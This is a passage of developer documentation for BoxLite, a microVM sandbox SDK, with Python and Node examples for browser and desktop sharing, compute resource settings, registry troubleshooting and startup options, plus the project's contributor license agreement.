search=True) ``` Also confirm you are not using a fully-qualified name — a fully-qualified name (with a host) bypasses the lookup list and pulls directly. ### Self-signed / internal HTTPS certificate verification fails An internal self-signed certificate causes TLS verification to fail. For a trusted internal registry you can set `skip_verify=True` (Python) / `skipVerify: true` (Node). This disables certificate and hostname verification, **so only use it when you trust the network**. For a plaintext HTTP registry, switch to `transport="http"` instead. ### Image pull failure raises a standard exception, not `BoxliteError` A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ### Box fails to start: environment has no virtualization BoxLite runs inside a microVM and needs hardware virtualization: * Linux: needs KVM (`/dev/kvm` accessible; on WSL2 the user must be in the `kvm` group). * macOS: via the built-in virtualization stack (Apple Hypervisor.framework), no `/dev/kvm` required. * Without virtualization, startup fails (the exception is catchable; the process does not crash). This is unrelated to registry configuration — first confirm the base environment can start a box with `image="alpine:latest"` (default Docker Hub), then debug the registry configuration. *** Related pages: [Error Handling](/guides/error-handling) # From demo to production Source: https://docs.boxlite.ai/guides/index What breaks between a working demo and a service other people depend on: error handling, concurrency, deployment, and image supply. A demo creates one box and prints a result. A service creates thousands, handles their failures, cleans up after them, and runs somewhere other than your laptop. The mental model that carries through all of it: **one agent session, one sandbox.** Everything here follows from taking that seriously. ## In this section Tell command failure, timeout, parse failure, and runtime errors apart. **Start here.** What breaks with many long-lived sandboxes, and the four controls that fix it. Docker and Kubernetes, where each sandbox still needs virtualization. One REST endpoint over a fleet — your code needs a URL and a key. Pull agent images from a private or corporate registry. ## Which page do I want? | You are asking | Page | | - | - | | My code works but fails in odd ways | [error handling](/guides/error-handling) | | I need hundreds of concurrent sandboxes | [at scale](/guides/at-scale) | | I need this in Docker or Kubernetes | [deployment](/guides/deployment) | | I want a hosted fleet instead of running one | [index](/cloud/index) | | My images live in a private registry | [image registry configuration](/guides/image-registry-configuration) | # Inspect an in-box browser from your DevTools Source: https://docs.boxlite.ai/human-tools/browser-access Attach your own Chrome DevTools to a browser running inside a sandbox, to watch or drive it by hand. Your automation code stays on the host; only the browser and everything it downloads run in the microVM, so a malicious script or a leaking process cannot reach your machine. Useful for scraping untrusted sites, parallel cross-browser testing, and giving an agent a controllable browser. ## Quick Example The simplest happy path: start a BrowserBox, get a WebSocket endpoint, connect with local Playwright, and open a page. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite # Connecting to the in-box browser requires the playwright client library on this machine # pip install "playwright==1.58.0" # must match the in-box Playwright Server from playwright.async_api import async_playwright async def main(): try: # Default chromium, 2 CPU / 2048 MiB; the box only starts on entering async with async with boxlite.BrowserBox() as browser: # Start the Playwright Server inside the box, return a host-connectable WebSocket endpoint ws_endpoint = await browser.playwright_endpoint() print(f"Ready, endpoint: {ws_endpoint}") # e.g. ws://localhost:3000/ async with async_playwright() as p: # Connect from the host to the browser inside the box browser_ctx = await p.chromium.connect(ws_endpoint) page = await browser_ctx.new_page() await page.goto("https://example.com") print("title:", await page.title()) await browser_ctx.close() except Exception as exc: # Image pull failure, no virtualization, etc. raise standard exceptions; catch-all here print(f"BrowserBox failed: {type(exc).__name__}: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // npm install @boxlite-ai/boxlite playwright-core import { BrowserBox } from "@boxlite-ai/boxlite"; import { chromium } from "playwright-core"; async function main(): Promise { try { // Default chromium, 2 CPU / 2048 MiB; the box only starts on first use await using browser = new BrowserBox(); // Start the Playwright Server inside the box, return a host-connectable WebSocket endpoint const wsEndpoint = await browser.playwrightEndpoint(); console.log(`Ready, endpoint: ${wsEndpoint}`); // e.g. ws://localhost:3000/ const browserCtx = await chromium.connect(wsEndpoint); const page = await browserCtx.newPage(); await page.goto("https://example.com"); console.log("title:", await page.title()); await browserCtx.close(); } catch (err) { // Image pull failure, no virtualization, etc. throw standard Errors; catch-all here console.error(`BrowserBox failed: ${err instanceof Error ? err.message : err}`); } } main(); ``` When the `async with` block exits, the box stops and is cleaned up automatically (`auto_remove` is enabled by default). *** ## Reference and troubleshooting `BrowserBox` construction options, the two connection modes, the port model, and the full troubleshooting list (Playwright version pinning, WebKit limits, port conflicts, connection timeouts) are documented once on [Browser automation](/agent-tools/browser-automation) — that page is the reference for both the agent-driven and the human-driven paths. ## Take over the browser from your own DevTools The Quick Example above connects a *script* to the box. To drive the browser by hand instead, ask for the Chrome DevTools Protocol (CDP) address and paste it into `chrome://inspect` — you then inspect pages and tune selectors in your own DevTools while the browser itself stays inside the sandbox. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: # Browser type is set through BrowserBoxOptions, not constructor keywords async with boxlite.BrowserBox( boxlite.BrowserBoxOptions(browser="chromium") ) as browser: cdp_endpoint = await browser.endpoint(timeout=60) print(f"Paste into Chrome's chrome://inspect -> Configure: {cdp_endpoint}") input("Press Enter when you are done to close the sandbox...") except ValueError as exc: # webkit has no CDP; use playwright_endpoint() for that browser print(f"This browser does not support CDP direct connect: {exc}") except RuntimeError as exc: print(f"Sandbox failed to start: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, BrowserBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // Browser type is set through the constructor options, not separate keywords await using browser = new BrowserBox({ browser: "chromium" }); const cdpEndpoint = await browser.endpoint(60); console.log(`Paste into Chrome's chrome://inspect -> Configure: ${cdpEndpoint}`); } catch (err) { // webkit has no CDP; use playwrightEndpoint() for that browser console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` > `endpoint()` and `playwright_endpoint()` are mutually exclusive on one instance — calling the second one after the > first raises `RuntimeError`. Pick the CDP endpoint for hands-on debugging, the Playwright endpoint for scripts. ## Related pages * [Browser automation](/agent-tools/browser-automation) — full `BrowserBox` reference, both connection modes, and troubleshooting * [Share a desktop](/human-tools/desktop-access) — when you need a full graphical desktop rather than a browser * [Network access](/manage-sandbox/network-access) — port publishing model # Share a desktop with a person in a browser Source: https://docs.boxlite.ai/human-tools/desktop-access Share a Linux desktop running inside a sandbox with a human, through a browser, with no VNC client to install. `ComputerBox` runs an XFCE desktop with a built-in noVNC server. Forward its GUI ports and anyone with the address can watch or take over — useful for inspecting a misbehaving app, reviewing what an agent is doing, or handing someone a disposable desktop. ## Quick Example (Happy Path) Forward the desktop HTTP/HTTPS ports of `ComputerBox` to fixed host ports, keep it running after startup, and let a human open it in a browser. > Remote access (for non-local users): replace `localhost` in the shared addresses with a reachable IP/hostname of the machine running this script, and make sure that machine's firewall allows the chosen ports. The BoxLite SDK itself only handles "box port -> host port" forwarding; "host -> public network" exposure depends on your network environment. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # desktop_share.py — start an isolated desktop accessible from a human's browser # Run: python desktop_share.py import asyncio import boxlite # pip install boxlite (latest published version) async def main() -> None: # gui_http_port / gui_https_port are ports on the "host". # Fix them so others get a stable address. try: async with boxlite.ComputerBox( cpu=2, memory=2048, gui_http_port=3000, # host HTTP port (noVNC web desktop) gui_https_port=3001, # host HTTPS port (self-signed cert) ) as desktop: # Wait until the desktop environment is fully ready (default timeout 60s) await desktop.wait_until_ready(timeout=60) print("Desktop ready. Send the addresses below to whoever needs access:") print(" HTTP : http://localhost:3000") print(" HTTPS: https://localhost:3001 (browser warns about the self-signed cert; click 'Advanced' -> 'Proceed')") print("Press Ctrl+C to stop and destroy this ephemeral desktop.") # Keep the box alive until you stop it manually. while True: await asyncio.sleep(3600) except KeyboardInterrupt: print("\nStopped; desktop box destroyed.") except RuntimeError as exc: # Image pull failure / no virtualization, etc. all raise standard RuntimeError print(f"Failed to start: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // desktop_share.ts — Run: node desktop_share.js (compile first, or use a ts runner) import { ComputerBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { await using desktop = new ComputerBox({ cpus: 2, memoryMib: 2048, guiHttpPort: 3000, // host HTTP port guiHttpsPort: 3001, // host HTTPS port }); await desktop.waitUntilReady(60); console.log("Desktop ready: http://localhost:3000 (or https://localhost:3001)"); console.log("Press Ctrl+C to stop."); await new Promise(() => {}); // keep alive } catch (err) { // Missing command / pull failure / no virtualization raise a standard Error console.error("Failed to start:", err); } } main(); ``` ## Parameters and Returns ### `ComputerBox(...)` desktop-access parameters (Python) | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `gui_http_port` | int | Optional | `3000` | Port on the **host** mapping the noVNC web desktop (HTTP) | | `gui_https_port` | int | Optional | `3001` | Port on the **host** mapping the desktop (HTTPS, self-signed cert) | | `cpu` | int | Optional | `2` | CPU cores for the desktop environment (the desktop is resource-hungry; >=2 recommended) | | `memory` | int | Optional | `2048` | Memory MiB (>=2048 recommended) | | `runtime` | Boxlite \| None | Optional | `None` | Reuse an existing runtime; defaults to the global runtime | | `**kwargs` | — | Optional | — | Forwarded to `SimpleBox` options, e.g. `volumes=[(host, guest, read_only_bool)]` | > The Node field names are camelCase: `guiHttpPort` / `guiHttpsPort` / `cpus` / `memoryMib`. ### Methods related to desktop access | Method | Returns | Description | | - | - | - | | `await wait_until_ready(timeout=60)` | None | Blocks until the desktop has rendered and is ready, before you send the address to a human | | `await screenshot()` | dict | Server-side screenshot: `{"data": , "width", "height", "format"}`, useful for sending a preview image in a "no browser" scenario | | `await get_screen_size()` | (int, int) | Current desktop resolution (default 1024x768) | ### Built-in defaults (from `sdks/node/lib/constants.ts` / `sdks/python/boxlite/constants.py`) | Constant | Value | | - | - | | Desktop image | `lscr.io/linuxserver/webtop:ubuntu-xfce` | | In-box GUI HTTP / HTTPS ports | `3000` / `3001` | | Default resolution | `1024 x 768` (`DISPLAY=:1`) | | Ready timeout | `60` seconds | > Note: `3000`/`3001` are the GUI ports fixed **inside the box**; the constructor arguments `gui_http_port`/`gui_https_port` change the mapped port on the **host** side. The two can differ (for example `gui_http_port=8080` serves the desktop on host port 8080). ## Connecting a traditional VNC client | Need | Is there a dedicated API today | How to do it | | - | - | - | | Standalone `VncBox` / `DesktopBox` | **No** | Use `ComputerBox` (built-in noVNC web desktop) | | "Start a VNC server and return a `vnc://` connection string" | **No** | Open the forwarded noVNC HTTP/HTTPS address in a browser | | Connect with a traditional VNC client (RealVNC/TigerVNC) protocol | Run your own VNC service in the box | See the "roll your own" note below | | Expose some service port of any box to a human | Yes (general capability) | Forward any port with `BoxOptions(ports=...)` / `ports=` | If you truly need the standard VNC protocol (rather than the noVNC web page), the only option today is to install and run a VNC server inside the sandbox yourself (for example install `x11vnc`/`tigervnc` in a custom image), then expose the VNC port to the host via general port forwarding. This path has no SDK wrapper; it falls under "run a service inside the box yourself plus port forwarding." > Current limitation: the standard VNC protocol has no SDK wrapper and requires a self-built service; BoxLite provides no official support for that path, so prefer the built-in noVNC web desktop. ## Troubleshooting **Opening the HTTPS address in a browser warns "not secure / certificate error"** The webtop desktop uses a self-signed certificate; this is expected. Click "Advanced" -> "Proceed", or switch to the HTTP port (`http://localhost:3000`). The third volume element is a **bool** `read_only` (`True` = read-only / `False` = read-write), **not** the string `"ro"`/`"rw"`. Correct form: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import boxlite async def share_with_mount() -> None: # The third element must be a bool; True for read-only, False for read-write (or omit and use a 2-tuple) async with boxlite.ComputerBox( gui_http_port=3000, volumes=[("/host/data", "/mnt/data", True)], # bool; passing "ro" raises TypeError ) as desktop: await desktop.wait_until_ready() ``` > The `"ro"`/`"rw"` string syntax belongs only to the **CLI** `-v` argument, which differs from the SDK's bool; do not mix them. **Port in use / cannot connect** `gui_http_port`/`gui_https_port` are host ports; if taken, the mapping fails. Switch to a free port; for remote access you also need to open the host firewall and replace `localhost` in the address with a reachable IP/hostname. **`RuntimeError` (Python) / bare `Error` (Node): box failed to start** Common causes: (1) no hardware virtualization (Linux missing `/dev/kvm` or user not in the `kvm` group; macOS Intel not supported); (2) unstable network during image pull. An image pull failure raises a standard `RuntimeError`/bare `Error`, **not** a `BoxliteError` subclass, so catch with a broad type and retry if appropriate. **`wait_until_ready` times out** The webtop desktop is slow to start on first run (image decompression, X server initialization). Increase `timeout` accordingly (e.g. `wait_until_ready(timeout=120)`), and make sure you allocate >=2 CPU / >=2048 MiB memory. **Need the traditional VNC protocol but cannot find an API** Use the built-in noVNC web desktop (see above), or run your own VNC service plus port forwarding. ## A tour: hand a running box to a person Moved here from the section index, which is now a summary and an index. The code below: (1) starts a sandbox that ships with a desktop (`ComputerBox`, image `lscr.io/linuxserver/webtop:ubuntu-xfce`); (2) waits until the desktop is ready; (3) **prints a local URL you can open directly in a browser**, then keeps running until you press Enter. During that window you can operate the sandbox like a remote desktop in your browser. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite async def main(): # ComputerBox ships with an XFCE desktop plus a noVNC web client. # gui_http_port / gui_https_port map "host local ports" -> in-sandbox GUI ports. try: async with boxlite.ComputerBox( cpu=2, memory=2048, gui_http_port=3000, # host http port; open it in a browser gui_https_port=3001, # host https port (self-signed cert; browser warns) ) as desktop: # Wait until the desktop environment is fully up (default max 60s) await desktop.wait_until_ready(timeout=60) print("Desktop ready. Open either URL below in a browser to take over:") print(" HTTP : http://localhost:3000") print(" HTTPS: https://localhost:3001 (self-signed cert; click 'Advanced' -> 'Proceed')") # Keep the sandbox alive to give the human time to operate. # On async with exit the sandbox is destroyed and all changes are lost (ephemeral). input("When done, come back here and press Enter to close the sandbox...") except RuntimeError as exc: # Image pull failure / no hardware virtualization, etc. all raise standard RuntimeError print(f"Sandbox failed to start: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` After it runs, open `http://localhost:3000` in a browser to view and operate the sandbox desktop. When you close the script (press Enter), the sandbox and every change inside it are destroyed. > Node users: `ComputerBox` is also available in the Node SDK (`import { ComputerBox } from "@boxlite-ai/boxlite"`), with camelCase method names (`waitUntilReady` / `screenshot`, etc.). The GUI port exposure logic is identical. *** # Human tools Source: https://docs.boxlite.ai/human-tools/index Hand a running box to a person — a desktop in their browser, or their own DevTools attached to a browser inside the box. Sometimes the right move is to stop automating and let a human look. Both pages here take a box that is already running and put a person in front of it. ## In this section Share the box's Linux desktop with a person, through a browser. Attach your own Chrome DevTools to a browser inside the box. ## Which page do I want? | You are asking | Page | | - | - | | Let someone see and click the box's screen | [desktop access](/human-tools/desktop-access) | | Debug a page the agent is driving | [browser access](/human-tools/browser-access) | | Give an agent the same desktop instead | [computer use](/agent-tools/computer-use) | # BoxLite documentation Source: https://docs.boxlite.ai/index Run arbitrary code, commands, browsers, desktops, or entire AI agents inside hardware-isolated microVM sandboxes that start in about a second. **BoxLite runs arbitrary code, commands, browsers, desktops, or entire AI agents inside hardware-isolated microVM sandboxes that start in about a second — in a few lines of code, and isolated enough to run untrusted LLM output directly.** ## Which BoxLite do I want? There are two ways to run boxes, and the choice is made for you by one thing: whether the machine running your code has hardware virtualization. Free, self-hosted, no account. **Needs hardware virtualization** — KVM on Linux, Apple Silicon on macOS, WSL2 on Windows. Not available in most CI runners, nested VMs, or containers. An API key and HTTPS is all your machine needs. Works from CI, containers, and locked-down laptops. Same SDK, different runtime handle. Not sure? Run this. If it prints a path, take the open-source track; if it prints nothing, take Cloud: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Linux ls /dev/kvm 2>/dev/null # macOS (Apple Silicon reports arm64) uname -m | grep -q arm64 && echo "/dev/kvm-equivalent: Hypervisor.framework" ``` The two tracks are not exclusive — the same SDK talks to both, so developing against a local box and running the same code against Cloud in production is a change of runtime handle, not a rewrite. [BoxLite Cloud vs open source](/cloud/vs-opensource) enumerates every difference. ## Run your first sandbox This is the open-source path. For the Cloud path, see the [Cloud quickstart](/cloud/quickstart). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite ``` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # hello.py — needs hardware virtualization; see the Cloud track above if you have none import asyncio import boxlite async def main() -> None: try: async with boxlite.SimpleBox(image="python:slim") as box: result = await box.exec("python", "-c", "print('Hello from BoxLite!')") # A non-zero exit code does not raise — check it yourself. print(result.stdout if result.exit_code == 0 else result.stderr, end="") except RuntimeError as exc: print("Box failed to start:", exc) asyncio.run(main()) ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Hello from BoxLite! ``` The same five steps in Node.js, Rust, Go, and C are on the [Quickstart](/getting-started/quickstart). Platform matrix, the CLI, and offline installs are on [Installation](/getting-started/installation). *** ## Who this documentation is for * **AI / agent engineers**: you need to give an LLM a secure sandbox that can run code, open a browser, and operate a desktop, without exposing the host to model-generated commands. * **Backend / platform engineers**: you need to start, reuse, and reclaim isolated execution environments on demand inside your own service (multi-tenant, CI, code grading, untrusted third-party code). * **Agent product authors**: you already have a demo and want to turn it into a concurrency-safe, observable, cleanable production service. ## Quickest path for new users 1. **Pick a track** → [above](#which-boxlite-do-i-want). Self-hosted needs virtualization; Cloud does not. 2. **Run your first box** → [Quickstart](/getting-started/quickstart) for self-hosted, [Cloud quickstart](/cloud/quickstart) for Cloud. 3. **Understand what you are operating** → [Architecture overview](/architecture/index), then [Box types](/manage-sandbox/sandbox-types). 4. **Build something real** → [Agent tools](/agent-tools/index) for the capabilities, or [use cases](/use-cases/index) for end-to-end guides. 5. **Go to production** → [Running sandboxes at scale](/guides/at-scale) and [Error handling](/guides/error-handling). *** ## Where everything lives One row per section. The sidebar lists every page; this table is for deciding *which* section you need. | Section | Answers | | - | - | | [Introduction](/getting-started/index) | What a Box is, how it differs from a container, and what is ready today | | [BoxLite Cloud](/cloud/index) | The hosted runtime: API keys, boxes, volumes, network, and pricing | | [Manage sandbox](/manage-sandbox/index) | Creating, configuring, and reclaiming boxes — resources, volumes, network, secrets | | [Agent tools](/agent-tools/index) | The capabilities an agent calls: run code, PTY, browser, desktop, MCP, Git | | [Agent in a box](/agent-in-box/index) | Putting a full agent *inside* a box — Claude Code, tool loops, a REST service | | [Human tools](/human-tools/index) | Handing a running box to a person: desktop and browser takeover | | [Use cases](/use-cases/index) | End-to-end guides — one complete, runnable deliverable per page | | [From demo to production](/guides/index) | Turning a demo into a production service: concurrency, limits, cleanup, deployment | | [Architecture](/architecture/index) | Components, the path of one `exec`, and — deeper — how isolation, networking, storage, and boot actually work | | [SDK reference](/reference/index) | Exact signatures and types, one page per language, plus the CLI | | [FAQ](/faq) and [releases](/resources/index) | Recurring questions, and where each release's notes are published | | [Contributing](/development/index) | Working on BoxLite itself — build, tests, style, and the contributor license agreement | *** ## Key mental model (three sentences) * **The `Boxlite` runtime**: a synchronous context manager that creates / queries / reuses / reclaims a set of boxes (`get` / `get_or_create` / `list_info` / `remove(id_or_name, force=False)` / `metrics` / `shutdown` / `close`). * **A Box**: each sandbox is an async context manager (`SimpleBox` / `CodeBox` / `BrowserBox` / `ComputerBox` / `InteractiveBox` / `SkillBox`), and every method must be awaited — `box.info()` included, on both `SimpleBox` and the native `Box`. * **Isolation**: microVM-level isolation is on by default; to tighten it further use `BoxOptions(advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))`, and to inject credentials use `BoxOptions(secrets=[Secret(...)])`. # BoxLite contributor license agreement Source: https://docs.boxlite.ai/legal/CLA Version: 2026-06-03 Canonical source: [https://github.com/boxlite-ai/boxlite/blob/main/docs/legal/CLA.md](https://github.com/boxlite-ai/boxlite/blob/main/docs/legal/CLA.md) Thank you for contributing to BoxLite. By submitting a pull request, issue, patch, commit, or other contribution to the `boxlite-ai/boxlite` project, you agree to the following terms: 1. You are legally entitled to submit the contribution. 2. If your contribution was created for an employer or another legal entity, you have permission to submit it under these terms. 3. Your contribution is submitted under the Apache License, Version 2.0, the same license used by the BoxLite project. 4. You grant the BoxLite project and its recipients the rights needed to use, copy, modify, distribute, and sublicense your contribution as part of the project under the Apache License, Version 2.0. 5. You are not knowingly submitting code, documentation, or other material that violates a third party's copyright, patent, trademark, trade secret, license, or other rights. 6. This agreement is not a copyright assignment. You retain copyright ownership of your contribution, subject to the license grant above. The Apache License, Version 2.0 is available in the BoxLite repository at: [https://github.com/boxlite-ai/boxlite/blob/main/LICENSE](https://github.com/boxlite-ai/boxlite/blob/main/LICENSE) # Compute resources Source: https://docs.boxlite.ai/manage-sandbox/compute-resources Allocate CPU (cpus), memory (memory_mib), and disk (disk_size_gb) so a workload is neither starved nor wasteful. A test suite needs CPU, a large build needs disk, a long-lived service needs stable memory. Set all three explicitly in production rather than relying on defaults. ## Quick Example The following uses Python to create a sandbox with **2 cores / 1024 MiB of memory / 8 GB of disk** and prints the configuration that actually takes effect. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python 3.10+; requires pip install boxlite import asyncio from boxlite import SimpleBox async def main() -> None: try: # SimpleBox is an async context manager; the sandbox is only created and started on entry async with SimpleBox( image="alpine:latest", cpus=2, # 2 vCPUs memory_mib=1024, # 1024 MiB of memory # disk_size_gb is not a direct SimpleBox parameter; # it is passed through to the underlying BoxOptions via **kwargs (see notes below) disk_size_gb=8, # 8 GB disk ) as box: # a non-zero exit code does not raise; check exit_code yourself result = await box.exec("nproc") print("vCPU:", result.stdout.strip()) mem = await box.exec("sh", "-c", "free -m | awk '/Mem:/{print $2}'") print("Memory (MiB):", mem.stdout.strip()) # busybox df: use -h for human-readable total (alpine lacks GNU df's -BG) disk = await box.exec("sh", "-c", "df -h / | awk 'NR==2{print $2}'") print("Disk:", disk.stdout.strip()) except RuntimeError as exc: # no virtualization / image pull failure raises a standard RuntimeError print("startup failed:", exc) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Node 18+; requires npm install @boxlite-ai/boxlite import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // SimpleBox supports await using (asyncDispose); cleanup happens automatically on leaving scope await using box = new SimpleBox({ image: "alpine:latest", cpus: 2, // 2 vCPUs memoryMib: 1024, // 1024 MiB of memory diskSizeGb: 8, // 8 GB disk }); const result = await box.exec("nproc"); console.log("vCPU:", result.stdout.trim()); } catch (err) { // no virtualization / missing command throws a standard Error (not necessarily BoxliteError) console.error("startup failed:", err); } } main(); ``` ## Parameters and Returns ### Resource parameters (core) | Parameter | Python (`SimpleBox` / `BoxOptions`) | Node (`SimpleBoxOptions`) | Type | Required | Description | | - | - | - | - | - | - | | CPU cores | `cpus` | `cpus` | Integer (Rust `u8`, max 255) | Optional | Number of vCPUs allocated to the sandbox | | Memory | `memory_mib` | `memoryMib` | Integer (MiB, Rust `u32`) | Optional | Memory limit, in **MiB** (not bytes, not MB) | | Disk | `disk_size_gb` | `diskSizeGb` | Integer (GB, Rust `u64`) | Optional | Sandbox root disk size, in **GB** | > `SimpleBox` exposes `cpus` / `memory_mib` (Python) / `cpus` / `memoryMib` (Node) directly. Python's `disk_size_gb` is not an explicit `SimpleBox` parameter but is forwarded through `**kwargs` to the underlying `BoxOptions` (which explicitly supports `disk_size_gb`). Node's `SimpleBoxOptions` includes `diskSizeGb` explicitly. ### Defaults When `cpus` / `memory_mib` are not specified, the VM is provisioned with **1 vCPU / 1024 MiB**. Both values come from one place — `vm_defaults::DEFAULT_CPUS` / `DEFAULT_MEMORY_MIB` in `src/boxlite/src/runtime/constants.rs` — which the VM engine and the stored box config both read, so `box.info()` and the real allocation agree. To confirm the resources from inside the Box, query `nproc` (CPU) and `MemTotal` from `/proc/meminfo` (memory). When `disk_size_gb` is not specified, the disk is sparse and grows on demand (default cap 10 GB). > **Practical advice: for predictability and cost control, always set `cpus` / `memory_mib` / `disk_size_gb` explicitly in production; do not rely on implicit defaults.** ### Specialized Box resource defaults (reference) Some specialized sandboxes have their own higher resource defaults that override the general defaults above: | Box type | CPU default | Memory default (MiB) | Disk default (GB) | Evidence | | - | - | - | - | - | | `ComputerBox` | 2 | 2048 | — (general default 10) | `COMPUTERBOX_CPUS`/`COMPUTERBOX_MEMORY_MIB` in `sdks/node/lib/constants.ts`, `sdks/python/boxlite/constants.py` | | `SkillBox` | — (inherits the general default) | 4096 | 10 | `SKILLBOX_*` in `sdks/node/lib/constants.ts`, `SkillBox.__init__` in `sdks/python/boxlite/skillbox.py` (`SKILLBOX_MEMORY_MIB`/`SKILLBOX_DISK_SIZE_GB`) | | `BrowserBox` | 2 | 2048 | — (general default 10) | `BrowserBoxOptions` in `sdks/python/boxlite/browserbox.py` (`BrowserBoxOptions.cpu=2` / `memory=2048`) | | `CodeBox` | — (general default) | — (general default) | — (general default 10) | `sdks/python/boxlite/codebox.py` — passes `cpus` / `memory_mib` through unchanged, so the general defaults above apply | > The `DEFAULT_CPUS` / `DEFAULT_MEMORY_MIB` constants exported by the Python and Node SDKs are reference values only — they are not applied on the box-creation path, and the Node one does not match the runtime. Treat `src/boxlite/src/runtime/constants.rs` as the single source of truth. ### Return value `SimpleBox.exec(...)` returns an `ExecResult`: | Field | Type | Description | | - | - | - | | `exit_code` / `exitCode` | Integer | Command exit code; a non-zero value **does not raise**, check it yourself | | `stdout` | String | Standard output | | `stderr` | String | Standard error | | `error_message` (Python) | String \| None | Non-`None` only when the process died abnormally | ## Troubleshooting ### How much is allocated when cpus/memory are not passed (1 vCPU / 1024 MiB) Symptom: you need to confirm how much a sandbox actually gets when `cpus` / `memory_mib` / `memoryMib` are not passed. Explanation: when not passed, the VM is provisioned with **1 vCPU / 1024 MiB**. To query the resources from inside the Box, read `nproc` (CPU) and `MemTotal` from `/proc/meminfo` (memory). See the "Defaults" subsection above. Fix: for deterministic resources, **specify the parameters explicitly**; production code should not rely on implicit defaults: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python: explicit specification, deterministic result (does not rely on any implicit default) import asyncio from boxlite import SimpleBox async def main() -> None: try: async with SimpleBox(image="alpine:latest", cpus=2, memory_mib=1024) as box: print((await box.exec("nproc")).stdout.strip()) except RuntimeError as exc: print("startup failed:", exc) asyncio.run(main()) ``` ### Unit confusion (MB vs MiB, bytes vs MiB) Symptom: you want to allocate 2 GB of memory but write `memory_mib=2000000000` (filling in bytes), so the requested amount far exceeds the host and startup fails. Cause: `memory_mib` is in **MiB**, and `disk_size_gb` is in **GB**. Fix: write 2 GB of memory as `memory_mib=2048`; write 10 GB of disk as `disk_size_gb=10`. ### CPU count exceeds 255 Symptom: * The SDK (Python/Node) passing `cpus=300` raises `OverflowError` directly when constructing `BoxOptions` (Python: `out of range integral type conversion attempted`), because the field is `u8` on the Rust side. * The CLI passing `--cpus 300` does not error; it prints a warning (`CPU limit capped at 255`) and truncates the value to 255. Cause: the CPU count is `u8` (max 255) on the Rust side. The SDK path overflows during the PyO3/napi integer conversion; the CLI path explicitly applies `min(255)` and warns in the `cpus > 255` guard in `src/cli/src/cli.rs`. Fix: use a reasonable core count (typically 1-8), not exceeding the host's physical cores, and not exceeding 255. ### Startup fails in a no-virtualization environment Symptom: creating a sandbox in a Linux container/CI without KVM raises a `RuntimeError` (Python) or a bare `Error` (Node). Cause: BoxLite is a microVM and requires hardware virtualization. Linux requires `/dev/kvm`, macOS (Apple Silicon) uses Hypervisor.framework, and Windows requires WSL2 + KVM. Fix: confirm the environment supports virtualization; in CI, enable nested virtualization or use a KVM-capable runner. Catch with `try/except` (Python) / `try/catch` (Node); the process does not crash, only that sandbox fails to start. ### A process is killed due to insufficient resources Symptom: a build/test running inside the sandbox suddenly exits, with a non-zero `exit_code` or a non-empty `error_message`. Cause: `memory_mib` is set too small, triggering OOM. Fix: raise `memory_mib` (e.g. 2048-4096 for building a large project), and check `ExecResult.exit_code` / `error_message` rather than assuming the command succeeded — **a non-zero exec exit does not raise**. ### An image pull failure mistaken for a resource error Symptom: creating a sandbox for the first time errors with a message related to networking/images. Cause: the first run pulls the image over the network, and network flakiness raises a standard `RuntimeError` (Python) / a bare `Error` (Node), **not** a `BoxliteError`. Fix: catch the standard exception and retry; pulling the image ahead of time reduces first-create latency. # Environment and startup Source: https://docs.boxlite.ai/manage-sandbox/environment Shape the Linux environment inside a box — variables, run user, working directory — and control what it starts: the entrypoint, the command, and the image. The same image can produce very different machines. Declare what you need at creation time instead of maintaining a derived image for each variation. ## What you can set The fields below are forwarded through `**kwargs` to the underlying `BoxOptions` in wrapper classes such as `SimpleBox`/`CodeBox`, and can also be used directly with `BoxOptions(...)`. | Parameter | Required | Type (Python) | Type (Node) | Description | | - | - | - | - | - | | `image` | One of two | `str` | `string` (`image`) | Container image, e.g. `alpine:latest`, `python:alpine`. At least one of this and `rootfs_path`, otherwise `SimpleBox` raises `ValueError`. | | `rootfs_path` | One of two | `str` | `string` (`rootfsPath`) | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image`. | | `env` | Optional | `list[tuple[str, str]]` | `Record` (`env`) | Environment variables injected into the container process. **At construction time Python uses a list of tuples, Node uses an object.** | | `entrypoint` | Optional | `list[str]` | `string[]` (`entrypoint`) | Overrides the image's ENTRYPOINT (the executable). When set it **fully replaces** the image's original ENTRYPOINT. | | `cmd` | Optional | `list[str]` | `string[]` (`cmd`) | Overrides the image's CMD (default arguments). The ENTRYPOINT is preserved. The final command = ENTRYPOINT + CMD. | | `user` | Optional | `str` | `string` (`user`) | Running user, format `[:]`, e.g. `1000:1000`, `nobody`, `nobody:nobody`. Defaults to the image's USER (usually root). | | `working_dir` | Optional | `str` | `string` (`workingDir`) | Default working directory inside the container. | | `cpus` | Optional | `int` | `number` (`cpus`) | Number of CPU cores. | | `memory_mib` | Optional | `int` | `number` (`memoryMib`) | Memory limit (MiB). Defaults to 1024 MiB when unset; specify it explicitly in production. See [Compute 